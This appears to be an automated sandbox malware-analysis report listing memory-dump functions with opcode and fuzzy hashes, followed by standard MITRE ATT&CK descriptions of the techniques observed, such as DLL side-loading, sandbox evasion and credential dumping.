Opcode ID: 7396f84adce3bedfb90e95288b1bb6721e0de92a7146f4ed224061d774d5e7d8
Instruction ID: 531161bd5cb35c69759402eb42301302db782741b4b23b36279d39b95287d850
Opcode Fuzzy Hash: 7396f84adce3bedfb90e95288b1bb6721e0de92a7146f4ed224061d774d5e7d8
Instruction Fuzzy Hash: 6D41E870E01208CBEB58DFAAD9546EEFBF2AF89300F60D169C419BB259DB345945CF50

Function 06160E88 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3553101543.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6160000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b10e9e039574c5bd1d5ee2cc50958c6eb6c6c1c8469e258d12b0e424a8ff0a1e
Instruction ID: c2acf0bbfc0f50ea45d7473d854283b86a8b0fa35de564cf8e1e55992a12e01f
Opcode Fuzzy Hash: b10e9e039574c5bd1d5ee2cc50958c6eb6c6c1c8469e258d12b0e424a8ff0a1e
Instruction Fuzzy Hash: 3241E574E012188FEB58DFAAD9546EEBBF2BF89304F10D069D419BB254DB345942CF50

Function 060B1A40 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92723f2e3911812076955e766ffd587b7500336a823d5bc5a3a94e6d59465cf0
Instruction ID: 5680f95b4a25230c090e5470fc23f5ac6c4be30c3a8d2586e6402a010e39b0e7
Opcode Fuzzy Hash: 92723f2e3911812076955e766ffd587b7500336a823d5bc5a3a94e6d59465cf0
Instruction Fuzzy Hash: 3A41C474E41248CBEB58DFAAC9546EDFBF2AF89300F20E169C419BB258EB345945CF50

Function 060B22F1 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1261bf1eb027f7a128b5af41bc5205137647b2a192bce63d5bd0277567e9e7a
Instruction ID: 881d60c7f6b03e9f53dc340f93f5d1f7d67f5773ed230e6dbeeaaa627b3366f9
Opcode Fuzzy Hash: a1261bf1eb027f7a128b5af41bc5205137647b2a192bce63d5bd0277567e9e7a
Instruction Fuzzy Hash: D941E674E01208CFEB58DFAAC9546EEBBF2AF89300F20D169C418BB258DB345945CF50

Function 060B274C Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f785e5435e92d8e24613f58cd8b77f7e59b62052977912650f91fb1775622cbe
Instruction ID: 144952b408a9ff8e3ddf2505cbdfe3e08328cc72a0bd69d1a148c62c6e43bd29
Opcode Fuzzy Hash: f785e5435e92d8e24613f58cd8b77f7e59b62052977912650f91fb1775622cbe
Instruction Fuzzy Hash: 0041E670E41248CFEB58DFAAD9546EEBBF2AF88300F20D169C418BB258DB345946CF50

Function 060B7B79 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5f04a9a72059b6ef18c07fe2f4b03b01c77937716ae6462695dc8ef99b2a80d
Instruction ID: ed5c21a024ba0a3ac3fd9ff4f9b30602bd7c0f854dab8438dba61a255a756397
Opcode Fuzzy Hash: d5f04a9a72059b6ef18c07fe2f4b03b01c77937716ae6462695dc8ef99b2a80d
Instruction Fuzzy Hash: F641E570E41248CBEB58DFAAD9546EDBBF2AFC8300F20D169C418BB258DB345945CF90

Function 060B2BA1 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcb9c55d753adcdc0acee1e726ce03c20c57d7adc5939820a81dc65cef3ca32f
Instruction ID: d25ae2b254a595835fa3c606c76207b9b5cd058b16b5ef11c89b9218d092b55f
Opcode Fuzzy Hash: dcb9c55d753adcdc0acee1e726ce03c20c57d7adc5939820a81dc65cef3ca32f
Instruction Fuzzy Hash: BD41E570E01208CFEB58DFAAC9546EDBBF2AF89300F20E169C418BB258DB345945CF50

Function 060B2FFC Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d94d417780d5bf3a8d7d24b23dfc8fa68e307b55b0ab9f5475d0876d1d9a34c
Instruction ID: 5fe9d06a0d71c4757bbfb4be5c128df1ea3788ff2e98db24fd99b2376f367e72
Opcode Fuzzy Hash: 5d94d417780d5bf3a8d7d24b23dfc8fa68e307b55b0ab9f5475d0876d1d9a34c
Instruction Fuzzy Hash: 7E41E574E01248CBEB58DFAAD9546EEBBF2AF88300F24D169C418BB258DB355945CF50

Function 060B1A48 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43ceebb5474d214624e5152b61e21c0674fa2e941025aec9a96c473f7c1d8f9e
Instruction ID: f33ceeb6e6c6e9834b3aae29c30ce7073328e9b3f8f7712d2064226f7821057c
Opcode Fuzzy Hash: 43ceebb5474d214624e5152b61e21c0674fa2e941025aec9a96c473f7c1d8f9e
Instruction Fuzzy Hash: 0441D570E01208CBEB58DFAAC9546EDFBF2AF89300F20E169C418BB258EB345945CF50

Function 060B1E9D Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39b3ff19a2f8a108ea7059d34c82fa5c5b481b5ecd72b761975b2fec7736994f
Instruction ID: c1781c819cad084baa8b4eb2cd175562232094a3f97da6dfbc29240322be6787
Opcode Fuzzy Hash: 39b3ff19a2f8a108ea7059d34c82fa5c5b481b5ecd72b761975b2fec7736994f
Instruction Fuzzy Hash: AC41D570E41248CFEB58DFAAC9546EEBBF2AF89300F24E169C418BB258DB345945CF50

Function 060B1EA0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 794a7fcca45b7e881b50ceabd56621762643cc3fff27bd3585d36063f6ed1b1c
Instruction ID: 7543b0230bc25086e2282a02bfd92adfbdf6f38b72c981cf07a179790d3f8d10
Opcode Fuzzy Hash: 794a7fcca45b7e881b50ceabd56621762643cc3fff27bd3585d36063f6ed1b1c
Instruction Fuzzy Hash: 7341D570E01248CBEB58DFEAC9546EEBBF2AF89300F20E169C418BB258DB345945CF50

Function 060B22FC Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fef4852187c15f41ac59c31a9d2cad6dc06b1a557efba2a1503eed272ae234a
Instruction ID: 3261050f3e347358930c7a88cabf98bd86f93b0fe4ecb5d3ad4fe3e3fa3f8990
Opcode Fuzzy Hash: 6fef4852187c15f41ac59c31a9d2cad6dc06b1a557efba2a1503eed272ae234a
Instruction Fuzzy Hash: A241D674E01248CFEB58DFAAC9546EEBBF2AF89300F60D169C418BB258DB345945CF54

Function 060B22F4 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9949c8fb705fae90031802d3416caa27618eed438f133c8f28b2688105a445da
Instruction ID: e05c3f58fff1dad0f38b5dfa589cfc8d94c94668fd427b39384a3f7d32daf293
Opcode Fuzzy Hash: 9949c8fb705fae90031802d3416caa27618eed438f133c8f28b2688105a445da
Instruction Fuzzy Hash: CC41E470E01248CFEB58DFAAC9546EEBBF2AF89300F20D169C418BB258DB345946CF50

Function 060B7724 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5da9d27d29baea278a01b97550dfda224ef8e10e1d41da4565f15eceb588e41a
Instruction ID: de040b37a9b71d945f4068280f0036bb59ad9bf55369d475dddaa7857d8ddd97
Opcode Fuzzy Hash: 5da9d27d29baea278a01b97550dfda224ef8e10e1d41da4565f15eceb588e41a
Instruction Fuzzy Hash: AE41D371E41208CBEB58DFAAD9546EEBBF2AF89300F20E169C418BB259DB345945CF50

Function 060B7B7C Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9266d5d86890f8d479d82a70453ff2c589cd9b7712fc5698c60f72cf73d9fab
Instruction ID: 83fcc9c5a4ee9c175fe4b6f87e9863cd4518252a98de873b776490546eeee6ed
Opcode Fuzzy Hash: f9266d5d86890f8d479d82a70453ff2c589cd9b7712fc5698c60f72cf73d9fab
Instruction Fuzzy Hash: B741D371E41248CBEB58DFAAC9546EEBBF2AFC8300F60D169C418BB258DB345945CF50

Function 060B7B84 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b1325df3d7edf89e1bcdfe2056fa0a2533516b50b620350903ef9caf6953597
Instruction ID: 10eef16512b5afbb713f819e4a192e5b527fb2e1d01c157add37d81a4c7102e5
Opcode Fuzzy Hash: 3b1325df3d7edf89e1bcdfe2056fa0a2533516b50b620350903ef9caf6953597
Instruction Fuzzy Hash: DF41E270E01248CBEB58DFAAC9546EEBBF2AFC8300F20E169C418BB258DB345945CF54

Function 060B2BA8 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c3c66da7784dfd50b6726d346c4d64ab706726e958e1410029fcea1aee89807
Instruction ID: 478fd162eeaa39165ae5b630a44591afce9fda0c2038345ad9e7d003b3dac8c8
Opcode Fuzzy Hash: 5c3c66da7784dfd50b6726d346c4d64ab706726e958e1410029fcea1aee89807
Instruction Fuzzy Hash: 4E41D371E01208CBEB58DFAAC9546EEBBF2AF89300F20E169C418BB258DB345945CF50

Function 060B2BAC Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abddd23ab0385871f84a63449beda4577afb71a8da4574bfc4178762494eaa14
Instruction ID: fea4205488bef3e7fd715d19b3c81a02a5d15e2387c416c71bb780ba40db5261
Opcode Fuzzy Hash: abddd23ab0385871f84a63449beda4577afb71a8da4574bfc4178762494eaa14
Instruction Fuzzy Hash: 6941D370E01208CBEB58DFAAC9546EEFBF2AF89300F20E169D418BB258DB345945CF50

Function 060B2BA4 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9743939ed92654cee0e909fcce8669973b1a69d9e062cd41e4ff7d50e7a51e86
Instruction ID: 8c596b1f321c096d1f817ba646d8c9088c82bf1bbe5053549b46f781a4e7e7e3
Opcode Fuzzy Hash: 9743939ed92654cee0e909fcce8669973b1a69d9e062cd41e4ff7d50e7a51e86
Instruction Fuzzy Hash: D841D570E41208CBEB58DFAAD9546EDBBF2AF89300F20E16AD418BB258DB345945CF50

Function 0616F1F8 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3553101543.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6160000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8eaf69727d0121d050b9525d12f75483587104d16affe5070d8899e44e6c6cfd
Instruction ID: b473f22d56a0e08ee3f9d51c3d2c38f9a70f8f4d7596cd0c998c00aebe07a248
Opcode Fuzzy Hash: 8eaf69727d0121d050b9525d12f75483587104d16affe5070d8899e44e6c6cfd
Instruction Fuzzy Hash: 2B31F275E012488FEB48DFAAD9546EEBBF3AF89300F14D06AD418BB258DB345942CF50

Function 060B72CC Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b43f5fb5b5d76eb8bd5a03d8d702f3a09aa0abe0c472b8cfd04d970c972aad0
Instruction ID: 55582a02e31a4c02d1440238ed5aa65466e5d2bdcf3ce30fd65fcbc7b36b3dbf
Opcode Fuzzy Hash: 3b43f5fb5b5d76eb8bd5a03d8d702f3a09aa0abe0c472b8cfd04d970c972aad0
Instruction Fuzzy Hash: F341D571E01248CBEB58DFAAC5546EEFBF2AF89300F24D169D418BB258DB345945CF50

Function 060B772C Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 253530787d41a310ebdb6d68609c3831d80483689d30c8eaeee754314cd7eeda
Instruction ID: 2cc501d51c85905c030ca77e27b6453b912aa2e9f59f82114d6787d501ac4363
Opcode Fuzzy Hash: 253530787d41a310ebdb6d68609c3831d80483689d30c8eaeee754314cd7eeda
Instruction Fuzzy Hash: EF41D570E012088BEB58DFAAD9546EEFBF2AF89300F20E169C418BB259DB345945CF54

Function 060B7B80 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08beab6d9a8c0c33220e9f706684a75545e89a0ff6bdcb055e9f22ac73582b01
Instruction ID: e982d8af76b4d00314b1bff58217cd71e62091de7cc388a2ec31d1e8557a815a
Opcode Fuzzy Hash: 08beab6d9a8c0c33220e9f706684a75545e89a0ff6bdcb055e9f22ac73582b01
Instruction Fuzzy Hash: DE41D374E01248CBEB58DFAAD9546EEBBF2AFC9300F20E169C418BB258DB345945CF54

Function 060B3458 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d75f5bcb217b4601dda3494cd217ab9d3e66ad0a3ba557127d40f0f47dce70ac
Instruction ID: 818bdd687e924da2053cf9c8ec3acc037ce263ae0e430c596e78b4b0bf665250
Opcode Fuzzy Hash: d75f5bcb217b4601dda3494cd217ab9d3e66ad0a3ba557127d40f0f47dce70ac
Instruction Fuzzy Hash: 9141E574E01208CBEB58DFAAC9546EDBBF2AF89300F20E169C418BB258DB345945CF50

Function 0616F841 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3553101543.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6160000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f85a9efce9aae99cff2082a2ab79ef3404ab2a6e79d8697bebddc831609c8945
Instruction ID: c47dfe46c020439ca44fe28d9c37ed62583749a40cdc872c7a273e3fc05fb122
Opcode Fuzzy Hash: f85a9efce9aae99cff2082a2ab79ef3404ab2a6e79d8697bebddc831609c8945
Instruction Fuzzy Hash: 8131E075E012089FEB48DFAAD9546EEBBF6AF89304F10D069D419BB258DB345902CF50

Function 060B72D2 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7b3cd15f63699d1429190b32f2ae71d9a7dc7b0b862d3b00a526c4d72028152
Instruction ID: dd180e0998627856460c39c4a5512ae3dfa5be3762b46dc848d484d9ecf6e284
Opcode Fuzzy Hash: c7b3cd15f63699d1429190b32f2ae71d9a7dc7b0b862d3b00a526c4d72028152
Instruction Fuzzy Hash: 2541D370E01248CBEB58DFAAC9546EEBBF2AF89300F24E169D419BB258DB345945CF50

Function 060B4ED4 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d28071a2f677e0291c25226836e7c9488c0f4c5321f848bdadad7aedd83d8712
Instruction ID: e9d049e75b4d3250d5fe707795bcf4de9cbcb125fe7f8992eb10962fc3b7ebfb
Opcode Fuzzy Hash: d28071a2f677e0291c25226836e7c9488c0f4c5321f848bdadad7aedd83d8712
Instruction Fuzzy Hash: 5141C271E01248CBEB58DFAAC9546EEFBF2AF89300F24D16AC418BB259DB345945CF50

Function 0616D2B9 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3553101543.0000000006160000.00000040.00000800.00020000.00000000.sdmp, Offset: 06160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6160000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc371fb694e98a9d678b89c2e03d712a46d1e7ea7bb7d451b771b28a6f4c766f
Instruction ID: 4acbf5f7688ff8d58e5ccd020aec3b98db82167c60496cd5193eadc7ab04a14f
Opcode Fuzzy Hash: cc371fb694e98a9d678b89c2e03d712a46d1e7ea7bb7d451b771b28a6f4c766f
Instruction Fuzzy Hash: F731F3B4E01258CBDB48DFAAD9546EEBBF2AF89304F50D069D419BB258DB349902CF50

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

